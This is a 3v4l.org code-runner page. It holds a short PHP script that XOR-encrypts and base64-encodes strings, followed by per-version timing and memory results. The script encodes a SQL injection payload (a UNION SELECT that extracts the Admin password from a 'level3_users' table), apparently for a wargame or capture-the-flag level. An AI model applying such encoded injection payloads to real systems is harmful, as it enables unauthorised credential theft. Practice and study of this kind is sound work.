3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,password,3,4,5,6,7 FROM level3_users WHERE username = 'Admin'/*"); print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0060.00916.75
8.3.60.0040.01116.73
8.3.50.0120.00622.05
8.3.40.0040.01219.14
8.3.30.0100.00719.18
8.3.20.0040.00420.37
8.3.10.0040.00423.65
8.3.00.0040.00420.77
8.2.180.0150.00318.67
8.2.170.0090.01322.96
8.2.160.0070.00720.52
8.2.150.0080.00024.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0040.00420.47
8.2.110.0060.00322.13
8.2.100.0040.00817.74
8.2.90.0060.00319.37
8.2.80.0040.00417.97
8.2.70.0000.00917.75
8.2.60.0000.00817.93
8.2.50.0080.00018.07
8.2.40.0030.00620.03
8.2.30.0000.00718.46
8.2.20.0080.00017.80
8.2.10.0000.00919.84
8.2.00.0000.00817.85
8.1.280.0040.01125.92
8.1.270.0080.00023.82
8.1.260.0030.00626.35
8.1.250.0080.00028.09
8.1.240.0050.00522.17
8.1.230.0110.00019.09
8.1.220.0050.00317.74
8.1.210.0080.00018.77
8.1.200.0060.00317.60
8.1.190.0000.00817.61
8.1.180.0000.01118.10
8.1.170.0040.00418.86
8.1.160.0070.00022.08
8.1.150.0040.00818.72
8.1.140.0040.00417.64
8.1.130.0030.00317.94
8.1.120.0070.00017.71
8.1.110.0040.00417.65
8.1.100.0000.00817.66
8.1.90.0000.00717.61
8.1.80.0050.00317.57
8.1.70.0040.00417.53
8.1.60.0040.00417.68
8.1.50.0030.00617.67
8.1.40.0040.00417.73
8.1.30.0000.01017.89
8.1.20.0040.00417.82
8.1.10.0040.00417.78
8.1.00.0030.00617.72
8.0.300.0040.00418.77
8.0.290.0080.00017.16
8.0.280.0040.00418.62
8.0.270.0070.00017.32
8.0.260.0000.00717.27
8.0.250.0030.00317.09
8.0.240.0070.00017.02
8.0.230.0000.00817.19
8.0.220.0000.00717.06
8.0.210.0030.00517.12
8.0.200.0030.00617.16
8.0.190.0040.00417.13
8.0.180.0020.00517.02
8.0.170.0030.00617.14
8.0.160.0080.00017.02
8.0.150.0070.00016.89
8.0.140.0000.00717.10
8.0.130.0000.00613.55
8.0.120.0050.00317.08
8.0.110.0030.00517.07
8.0.100.0000.00817.01
8.0.90.0050.00217.07
8.0.80.0130.00317.11
8.0.70.0000.00716.92
8.0.60.0000.00917.08
8.0.50.0070.00016.96
8.0.30.0130.00917.38
8.0.20.0080.01017.58
8.0.10.0000.00717.09
8.0.00.0070.01416.96
7.4.330.0000.00515.11
7.4.320.0060.00016.86
7.4.300.0000.00616.75
7.4.290.0000.00716.71
7.4.280.0040.00416.84
7.4.270.0000.00716.74
7.4.260.0000.00716.83
7.4.250.0040.00416.80
7.4.240.0040.00416.73
7.4.230.0040.00416.86
7.4.220.0160.01016.76
7.4.210.0090.00516.82
7.4.200.0000.00716.84
7.4.190.0070.00016.91
7.4.160.0120.00416.71
7.4.150.0080.00917.40
7.4.140.0100.01217.86
7.4.130.0090.00816.78
7.4.120.0080.01116.64
7.4.110.0080.00816.94
7.4.100.0100.00716.70
7.4.90.0100.01016.82
7.4.80.0160.00919.39
7.4.70.0110.00616.78
7.4.60.0090.00816.68
7.4.50.0000.00916.79
7.4.40.0130.00916.52
7.4.30.0050.01316.73
7.4.00.0040.01115.18
7.3.330.0000.00613.55
7.3.320.0000.00613.35
7.3.310.0040.00416.41
7.3.300.0080.00016.42
7.3.290.0040.01116.54
7.3.280.0060.01116.61
7.3.270.0100.01017.40
7.3.260.0090.00916.55
7.3.250.0080.01116.54
7.3.240.0140.00316.61
7.3.230.0100.00716.86
7.3.210.0050.01316.58
7.3.200.0100.00919.39
7.3.190.0150.00716.61
7.3.180.0100.00716.89
7.3.170.0040.01116.72
7.3.160.0080.00816.59
7.3.120.0110.00715.07
7.3.110.0090.00615.25
7.3.100.0000.01415.31
7.3.90.0090.00615.05
7.3.80.0080.00315.11
7.3.70.0110.00715.09
7.3.60.0040.00815.23
7.3.50.0070.01014.96
7.3.40.0040.00815.04
7.3.30.0070.00715.13
7.3.20.0030.01416.92
7.3.10.0030.01016.59
7.3.00.0040.00816.98
7.2.330.0110.00716.71
7.2.320.0080.01216.91
7.2.310.0060.01216.83
7.2.300.0070.01016.94
7.2.290.0120.00616.97
7.2.240.0070.01015.38
7.2.230.0120.00315.14
7.2.220.0090.00615.03
7.2.210.0070.00715.21
7.2.200.0130.00015.07
7.2.190.0030.01215.31
7.2.180.0060.00915.30
7.2.170.0040.00415.37
7.2.160.0060.00615.13
7.2.150.0000.00917.10
7.2.140.0000.01517.17
7.2.130.0030.01317.01
7.2.120.0040.01117.16
7.2.110.0060.00616.88
7.2.100.0030.01117.29
7.2.90.0100.00317.25
7.2.80.0060.00617.21
7.2.70.0080.00517.05
7.2.60.0030.00916.87
7.2.50.0040.00817.05
7.2.40.0030.01217.13
7.2.30.0000.01417.32
7.2.20.0030.00716.88
7.2.10.0040.01417.16
7.2.00.0060.00518.28
7.1.330.0000.01215.79
7.1.320.0110.00015.70
7.1.310.0000.01516.14
7.1.300.0040.00816.09
7.1.290.0070.00716.25
7.1.280.0030.01015.60
7.1.270.0140.00015.86
7.1.260.0070.00315.91
7.1.250.0060.00315.91
7.1.200.0080.00415.96
7.1.100.0040.00818.43
7.1.70.0050.00217.58
7.1.60.0040.02119.46
7.1.50.0030.01316.98
7.1.00.0100.07022.47
7.0.200.0030.00317.05
7.0.140.0030.07721.99
7.0.70.0130.07319.96
7.0.60.0030.06020.09
7.0.50.0070.04020.33
7.0.40.0130.07020.04
7.0.30.0030.05720.11
7.0.20.0100.08320.19
7.0.10.0030.04320.13
7.0.00.0030.08020.07
5.6.280.0030.07320.86
5.6.220.0030.05320.74
5.6.210.0130.07720.53
5.6.200.0070.04721.10
5.6.190.0170.08321.07
5.6.180.0100.07721.07
5.6.170.0000.07021.05
5.6.160.0030.09021.18
5.6.150.0130.08021.05
5.6.140.0130.08021.08
5.6.130.0030.09321.03
5.6.120.0200.07320.96
5.6.110.0070.08321.17
5.6.100.0130.03721.00
5.6.90.0000.07721.02
5.6.80.0200.07020.42
5.6.70.0070.07020.43
5.6.60.0030.06720.40
5.6.50.0030.08720.41
5.6.40.0030.08320.39
5.6.30.0030.06720.31
5.6.20.0070.07720.46
5.6.10.0030.08720.39
5.6.00.0070.08720.39
5.5.360.0130.07720.39
5.5.350.0170.07320.48
5.5.340.0070.06020.90
5.5.330.0070.06020.83
5.5.320.0030.06720.92
5.5.310.0000.05720.79
5.5.300.0070.06320.83
5.5.290.0030.09320.81
5.5.280.0100.08020.93
5.5.270.0030.05020.73
5.5.260.0100.08020.89
5.5.250.0030.07020.61
5.5.240.0000.05720.19
5.5.230.0000.08720.21
5.5.220.0000.09020.29
5.5.210.0030.05320.12
5.5.200.0070.07320.00
5.5.190.0100.07720.29
5.5.180.0200.07320.17
5.5.160.0100.07320.16
5.5.150.0130.07320.24
5.5.140.0170.07320.19
5.5.130.0070.08020.18
5.5.120.0130.07020.26
5.5.110.0100.08020.13
5.5.100.0100.04720.08
5.5.90.0030.08320.16
5.5.80.0070.04320.13
5.5.70.0100.07319.94
5.5.60.0170.07020.05
5.5.50.0130.07320.11
5.5.40.0100.07020.03
5.5.30.0070.08020.09
5.5.20.0070.08320.14
5.5.10.0100.09320.12
5.5.00.0070.04320.13
5.4.450.0100.08019.56
5.4.440.0030.05719.58
5.4.430.0000.04319.53
5.4.420.0070.07019.23
5.4.410.0070.08019.24
5.4.400.0170.07018.86
5.4.390.0070.05318.95
5.4.380.0070.05719.05
5.4.370.0030.05019.04
5.4.360.0030.04019.03
5.4.350.0130.07719.16
5.4.340.0100.07719.20
5.4.320.0100.07319.04
5.4.310.0030.08319.16
5.4.300.0130.06319.04
5.4.290.0070.08319.04
5.4.280.0100.08019.13
5.4.270.0070.07719.04
5.4.260.0000.07319.21
5.4.250.0100.05319.17
5.4.240.0130.06718.87
5.4.230.0100.09019.02
5.4.220.0100.08019.02
5.4.210.0130.06719.22
5.4.200.0070.07719.08
5.4.190.0030.06318.89
5.4.180.0130.06718.89
5.4.170.0030.08018.87
5.4.160.0030.05319.10
5.4.150.0100.07018.98
5.4.140.0070.07016.50
5.4.130.0070.07016.55
5.4.120.0130.07016.47
5.4.110.0170.06716.32
5.4.100.0030.04716.48
5.4.90.0070.07316.40
5.4.80.0030.04716.55
5.4.70.0100.07016.54
5.4.60.0070.07716.38
5.4.50.0000.05716.46
5.4.40.0100.06716.54
5.4.30.0030.08016.29
5.4.20.0170.03716.39
5.4.10.0100.07316.41
5.4.00.0100.07015.86
5.3.290.0130.04714.65
5.3.280.0000.06314.73
5.3.270.0070.05014.57
5.3.260.0030.04714.75
5.3.250.0030.05314.63
5.3.240.0170.06314.59
5.3.230.0070.07714.53
5.3.220.0030.04714.60
5.3.210.0070.07014.52
5.3.200.0030.06714.57
5.3.190.0000.08014.55
5.3.180.0070.08014.57
5.3.170.0070.07714.54
5.3.160.0030.05714.46
5.3.150.0030.06014.57
5.3.140.0170.07014.62
5.3.130.0100.07714.53
5.3.120.0070.05014.49
5.3.110.0130.06714.51
5.3.100.0030.07314.10
5.3.90.0070.06013.96
5.3.80.0070.07313.94
5.3.70.0030.06714.14
5.3.60.0100.06713.94
5.3.50.0000.05013.98
5.3.40.0070.07313.88
5.3.30.0000.07013.82
5.3.20.0000.05713.75
5.3.10.0070.07013.77
5.3.00.0070.07713.56
5.2.170.0030.03312.29
5.2.160.0000.07012.29
5.2.150.0070.03712.29
5.2.140.0030.05312.29
5.2.130.0070.06312.29
5.2.120.0070.03712.29
5.2.110.0000.04312.29
5.2.100.0030.04712.29
5.2.90.0030.06712.29
5.2.80.0000.06012.29
5.2.70.0030.04312.29
5.2.60.0070.05012.29
5.2.50.0000.07012.29
5.2.40.0030.06712.29
5.2.30.0070.04312.29
5.2.20.0070.02712.29
5.2.10.0070.06012.29
5.2.00.0070.06012.29
5.1.60.0070.05312.29
5.1.50.0000.05712.29
5.1.40.0030.05312.29
5.1.30.0030.06012.29
5.1.20.0030.06012.29
5.1.10.0000.06012.29
5.1.00.0030.05712.29
5.0.50.0000.05012.29
5.0.40.0100.04012.29
5.0.30.0030.05712.29
5.0.20.0070.04012.29
5.0.10.0000.05012.29
5.0.00.0030.05012.29
4.4.90.0000.01712.29
4.4.80.0030.02312.29
4.4.70.0070.03312.29
4.4.60.0000.04012.29
4.4.50.0000.03012.29
4.4.40.0000.05712.29
4.4.30.0100.02712.29
4.4.20.0000.03712.29
4.4.10.0030.03712.29
4.4.00.0030.04012.29
4.3.110.0000.03712.29
4.3.100.0000.02012.29
4.3.90.0030.03312.29
4.3.80.0000.05712.29
4.3.70.0070.03312.29
4.3.60.0130.02312.29
4.3.50.0000.03012.29
4.3.40.0070.04712.29
4.3.30.0000.04012.29
4.3.20.0030.03712.29
4.3.10.0000.03312.29
4.3.00.0000.03312.29

preferences:
51.57 ms | 401 KiB | 5 Q